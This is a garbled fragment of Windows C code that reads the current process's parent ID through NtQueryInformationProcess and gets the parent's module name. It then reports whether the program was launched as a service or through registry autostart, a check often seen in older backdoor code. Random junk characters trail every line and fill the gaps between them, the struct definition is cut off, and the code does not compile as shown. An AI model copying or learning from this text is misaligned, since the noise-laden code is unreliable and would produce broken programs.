DWORD AffinityMask; MJX
ny4n
DWORD BasePriority; % )V=)l.j
ULONG UniqueProcessId; 7sVM[lr<
ULONG InheritedFromUniqueProcessId; O+!4KNN.-
} PROCESS_BASIC_INFORMATION; sm##owI
Rd8mn'A
PROCNTQSIP NtQueryInformationProcess; %LnLB
>V.?XZ nt
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 33%hZ`/>
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GUL~k@:_k
WD4"ft
HANDLE hProcess; :r{-:
PROCESS_BASIC_INFORMATION pbi; zd$'8/Cq
8 n[(\f:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2dz)rjdO,
if(NULL == hInst ) return 0; x|Uwk=;X|s
)d[n-Si
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jP+{2)z"W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P)VQAM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Ys=/mh
G;gsDn1t
if (!NtQueryInformationProcess) return 0; @zGF9O<3,@
M8lw;
(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !@!603Gy
if(!hProcess) return 0; h]@'M1D%
.XpuD,^;@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xg.Lo2s
W.
d',4)
CloseHandle(hProcess); sssw(F
t<Sa;[+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0SD'&
if(hProcess==NULL) return 0; Xf ^_y(?
ttr`
HMODULE hMod; !ak760*A
char procName[255]; ;(mNjxA
unsigned long cbNeeded; M_0f{
(KO]>!t
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -75mgOj.#
<Hv/1:k}
CloseHandle(hProcess); b\^DQZmth
RH,x);J|
if(strstr(procName,"services")) return 1; // 以服务启动 -[!t=qi
2KO`+
return 0; // 注册表启动 9qa/f[G
} &y0Gdzf